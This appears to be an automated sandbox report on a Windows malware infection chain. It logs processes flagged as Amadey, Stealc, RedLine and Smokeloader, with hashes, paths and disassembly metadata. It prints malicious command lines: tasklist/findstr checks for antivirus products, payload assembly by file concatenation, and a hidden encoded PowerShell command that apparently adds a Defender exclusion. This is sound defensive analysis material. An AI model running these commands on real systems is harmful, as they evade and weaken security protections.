Antivirus matches:	Detection: 79%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	11:16:12
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe"
Imagebase:	0x780000
File size:	439'808 bytes
MD5 hash:	CE27255F0EF33CE6304E54D171E6547C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe, Author: Joe Security
Antivirus matches:	Detection: 79%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	11:16:12
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1001527001\legs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001527001\legs.exe"
Imagebase:	0x930000
File size:	776'832 bytes
MD5 hash:	75CF470500D65CE4411790E09E650806
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	11:16:16
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe"
Imagebase:	0xe40000
File size:	776'832 bytes
MD5 hash:	2D6F91549D53930821EA4CF0FBD54B29
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 81%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	11:16:16
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	11:16:20
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe"
Imagebase:	0xe40000
File size:	776'832 bytes
MD5 hash:	2D6F91549D53930821EA4CF0FBD54B29
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	11:16:26
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe"
Imagebase:	0x400000
File size:	1'294'445 bytes
MD5 hash:	5A909C9769920208ED3D4D7279F08DE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 21%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	11:16:27
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c move Campbell Campbell.cmd & Campbell.cmd
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	11:16:27
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	11:16:28
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x100000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	11:16:28
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "opssvc wrsa"
Imagebase:	0xc70000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	11:16:30
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x100000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	11:16:30
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Imagebase:	0xc70000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	11:16:30
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe"
Imagebase:	0xb80000
File size:	245'760 bytes
MD5 hash:	08D493BFDFA30242A5846DBDEF4C1948
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000017.00000002.3113602014.0000000000CA2000.00000004.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000017.00000002.3113602014.0000000000C87000.00000004.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000017.00000002.3113602014.0000000000CDD000.00000004.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000017.00000002.3041283471.000000000077E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000017.00000002.3108989966.0000000000BAB000.00000002.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000017.00000000.2142580380.0000000000BAB000.00000002.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000017.00000002.3113602014.0000000000BCB000.00000004.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe, Author: Joe Security Rule: infostealer_win_stealc_str_oct24, Description: Finds Stealc standalone samples (or dumps) based on the strings, Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe, Author: Sekoia.io
Antivirus matches:	Detection: 66%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	11:16:31
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 370821
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	11:16:31
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "Anchor" Veterinary
Imagebase:	0xc70000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	11:16:31
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Genre + ..\Mj + ..\Discs + ..\Receiving + ..\Mysterious + ..\Aka w
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	11:16:31
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\370821\Sale.com
Wow64 process (32bit):	true
Commandline:	Sale.com w
Imagebase:	0xba0000
File size:	947'288 bytes
MD5 hash:	62D09F076E6E0240548C2F837536A46A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	11:16:31
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0xb90000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	11:16:38
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe"
Imagebase:	0x7f0000
File size:	2'790'912 bytes
MD5 hash:	54CC74B54E416B5B99BA11FE90829DE2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.3894349652.00000000007F1000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000003.2245904915.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	11:16:48
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe"
Imagebase:	0x130000
File size:	3'191'808 bytes
MD5 hash:	01D3882BE7A8BA0FF3BCEC230DDA6B08
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001E.00000002.2558773552.0000000000131000.00000040.00000001.01000000.00000012.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	11:16:51
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe"
Imagebase:	0x7f0000
File size:	2'790'912 bytes
MD5 hash:	54CC74B54E416B5B99BA11FE90829DE2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000003.2435620899.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.3895043155.00000000007F1000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	11:16:57
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe"
Imagebase:	0x400000
File size:	1'909'248 bytes
MD5 hash:	B1B1CD560FBD22A72BFBFF10C86B8BE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	11:17:01
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe
Imagebase:	0x780000
File size:	439'808 bytes
MD5 hash:	CE27255F0EF33CE6304E54D171E6547C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	11:17:02
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe"
Imagebase:	0x7f0000
File size:	2'790'912 bytes
MD5 hash:	54CC74B54E416B5B99BA11FE90829DE2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000023.00000002.3892973302.00000000007F1000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000023.00000003.2544121223.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	11:17:04
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 988 -s 1396
Imagebase:	0xf20000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	11:17:10
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe"
Imagebase:	0x3c0000
File size:	4'481'024 bytes
MD5 hash:	CF2E7AEE1603394F639799BAB432A541
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	11:17:10
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xd90000
File size:	3'191'808 bytes
MD5 hash:	01D3882BE7A8BA0FF3BCEC230DDA6B08
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000029.00000002.3894652256.0000000000D91000.00000040.00000001.01000000.00000016.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	11:17:14
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe"
Imagebase:	0x400000
File size:	1'909'248 bytes
MD5 hash:	B1B1CD560FBD22A72BFBFF10C86B8BE5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	11:17:14
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
Imagebase:	0x4b0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	11:17:31
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe"
Imagebase:	0x400000
File size:	1'909'248 bytes
MD5 hash:	B1B1CD560FBD22A72BFBFF10C86B8BE5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000002C.00000002.3910873060.0000000000D30000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	11:17:46
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe"
Imagebase:	0x7ff6dbd10000
File size:	3'083'776 bytes
MD5 hash:	75CA34215F6E3916C51C0AF34FC17284
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000002D.00000002.3802638122.000002B50DD4E000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000002D.00000002.3802638122.000002B50DCD6000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000002D.00000002.3800987221.000002B50D803000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 52%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	11:17:52
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1020934001\mdjw5me.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1020934001\mdjw5me.exe"
Imagebase:	0x1d0000
File size:	532'992 bytes
MD5 hash:	81B5E34627858D87520F219C18CC5C7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	11:17:52
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	11:17:53
Start date:	23/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAbgBoAGoANAAzAGoAcgB4AHoAYgBsAE8ASgBYAFEATQBOAEkAUQAnAA==
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	11:17:54
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 04FA02BE Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1457905591.0000000004FA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4fa0000_fkawMJ7FH8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ac049f35b982658b9c2c443f8edf09a8762a91e80458931d534d632dde072c2
Instruction ID: acd21fac31ab667dead24f1b8e13df68ee3bd4c8ddd55cd95b7712ecd01cea66
Opcode Fuzzy Hash: 9ac049f35b982658b9c2c443f8edf09a8762a91e80458931d534d632dde072c2
Instruction Fuzzy Hash: 4E018FEB24E310BF71418D463B10AB62AAEE2D6730334842BF40BC6601F98429BB7131

Function 04FA032E Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1457905591.0000000004FA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4fa0000_fkawMJ7FH8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca47fb16587f2ab5b8fc9e2d1360fd6470156731baa156fc222b63b44eab8bbf
Instruction ID: fdac98359d5d17c33d48f40f58379c17e66cd25d48650f80bb08585a2b07ceb0
Opcode Fuzzy Hash: ca47fb16587f2ab5b8fc9e2d1360fd6470156731baa156fc222b63b44eab8bbf
Instruction Fuzzy Hash: E90169EB64E310AE61418E863B206B65AADE7E67703348427F40BC9A01F98469BB7131

Function 04FA02D6 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1457905591.0000000004FA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4fa0000_fkawMJ7FH8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 889ff033592a7c12a8475bf1ea3125984115f8914585e3e8001ebf26733dc32c
Instruction ID: e27b5d5f4350e2eea718fe7ec6894094616f6bbd3d5e21505afd7b0ff6c05b0c
Opcode Fuzzy Hash: 889ff033592a7c12a8475bf1ea3125984115f8914585e3e8001ebf26733dc32c
Instruction Fuzzy Hash: BA01B5E760E350AFA242CA467A546B66B69E7D7330334849AF446CA101E544297AA332

Function 04FA0292 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1457905591.0000000004FA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4fa0000_fkawMJ7FH8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 566e886f0dfe217714073d20cbf3c8332a62da1821b83efc63cd721dfcb7c801
Instruction ID: 9e4ee3fbcee4fbe40d4942ea70bfa45bb370ad8b3a46b3ab7879809af3b63d95
Opcode Fuzzy Hash: 566e886f0dfe217714073d20cbf3c8332a62da1821b83efc63cd721dfcb7c801
Instruction Fuzzy Hash: 9101D4E770E350BFA2428E423A146B66B69E7D733033484AAF447CA101F544297BB232

Function 04FA02FB Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1457905591.0000000004FA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4fa0000_fkawMJ7FH8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76cfd15d0903f384dddf7d14831ab333a0a9bc187d634ce28604890e9b008d93
Instruction ID: 086a472b8d7d22f38264a3cb436697e807dc030d0d044dfce27e1b6ab2792d24
Opcode Fuzzy Hash: 76cfd15d0903f384dddf7d14831ab333a0a9bc187d634ce28604890e9b008d93
Instruction Fuzzy Hash: ECF086E760D301BF6241CD463B146B5676DE6DA330334856AF54BCA501F6451A6BA231

Function 04FA031A Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1457905591.0000000004FA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4fa0000_fkawMJ7FH8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 124ec81d0b66b80fd7159d79935e1460e7485fc522440fa3e1423d89f2586c66
Instruction ID: aed5c3269ee5967ab4d9888131ccbc7156a482a1b3444aaff695cad52d3904eb
Opcode Fuzzy Hash: 124ec81d0b66b80fd7159d79935e1460e7485fc522440fa3e1423d89f2586c66
Instruction Fuzzy Hash: 7BF08CEB20E311BF7140CD463B24AB66B6DE2D6770330C82BF80BC9500F98458AB7232

Function 04FA0347 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1457905591.0000000004FA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4fa0000_fkawMJ7FH8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f048c2fbac72ed095b49f54adc1fe9e4466837fd61e610761dd5788c4a92840
Instruction ID: 394cff82ed522712e587b3ba13eed8fa8a06a29df8fec48d9fe1ca1929432dee
Opcode Fuzzy Hash: 0f048c2fbac72ed095b49f54adc1fe9e4466837fd61e610761dd5788c4a92840
Instruction Fuzzy Hash: 89E09AEB21E215BE710188423B20BF7076DD2D23743358452B446C8A01B98529AFB135

Analysis Process: axplong.exePID: 3236, Parent PID: 1124COMMON

Execution Graph

Execution Coverage:	10.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.3%
Total number of Nodes:	1839
Total number of Limit Nodes:	74

Executed Functions

Function 0053BD60 Relevance: 21.3, APIs: 5, Strings: 7, Instructions: 310
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(00588D70,00000000,00000000,00000000,00000000), ref: 0053BDEC
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0053BE11
HttpOpenRequestA.WININET(?,00000000), ref: 0053BE5B
HttpSendRequestA.WININET(?,00000000), ref: 0053BF1B
InternetReadFile.WININET(?,?,000003FF,?), ref: 0053BFCC
InternetCloseHandle.WININET(?), ref: 0053C0A7
InternetCloseHandle.WININET(?), ref: 0053C0AF
InternetCloseHandle.WININET(?), ref: 0053C0B7

Strings

RpKt, xrefs: 0053D516
8KG0fymoFx==, xrefs: 0053C2EB, 0053C543
8KG0fCKZFzY=, xrefs: 0053C385
stoi argument out of range, xrefs: 0053E3FA
d4Y, xrefs: 0053E2FF
invalid stoi argument, xrefs: 0053E404
RHYTYv==, xrefs: 0053BE33

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSend
String ID: 8KG0fCKZFzY=$8KG0fymoFx==$RHYTYv==$RpKt$d4Y$invalid stoi argument$stoi argument out of range
API String ID: 688256393-3580316270
Opcode ID: 68b98153594eb63337c8152777d512f784ef5494f556a507df92e24e6fde844c
Instruction ID: a8d76f7fd16e0776e54c04d1afb3f0cad59b5a9b9b803a454e4384369cbbc194
Opcode Fuzzy Hash: 68b98153594eb63337c8152777d512f784ef5494f556a507df92e24e6fde844c
Instruction Fuzzy Hash: BCB1B3B15001189BEB24DF28CC88BEEBF69FF85304F504599F509A7292D7719AC0CFA5

Function 0053E440 Relevance: 16.0, Strings: 12, Instructions: 1000
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

UD==, xrefs: 0053EA1F, 0053EC66
MT==, xrefs: 0053E4A5
